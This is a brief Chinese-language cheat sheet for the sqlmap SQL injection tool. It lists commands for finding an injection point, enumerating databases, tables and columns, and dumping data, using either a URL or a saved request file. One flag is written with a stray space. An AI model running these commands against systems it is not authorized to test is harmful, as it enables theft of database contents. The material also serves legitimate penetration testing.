SQL注入工具sqlmap的使用
- sqlmap使用
-
测试注入点 sqlmap -u “URL”
-
爆数据库 sqlmap -u “URL” --dbs
-
查看当前库 sqlmap -u “URL” --current -db
-
显示数据表 sqlmap -u “URL” -D 数据库 --tables
-
显示字段 sqlmap -u “URL” -D 数据库 -T 表 --columns
-
脱库 sqlmap -u “URL” -D 数据库 -T 表 -C “字段名1”,“字段名2” --dump
-
查看帮助 man sqlmap
-
-
查看注入点 sqlmap -r 1.txt
-
爆数据库 sqlmap -r 1.txt --dbs (注意在注入点后面加*)
-
查看当前库 sqlmap -r 1.txt --current -db
-
显示数据表 sqlmap -r 1.txt -D 数据库 --tables
-
显示字段 sqlmap -r 1.txt -D 数据库 -T 表 --columns
-
查看某字段数据 sqlmap -r 1.txt -D 数据库 -T 表 -C “字段名,字段名” --dump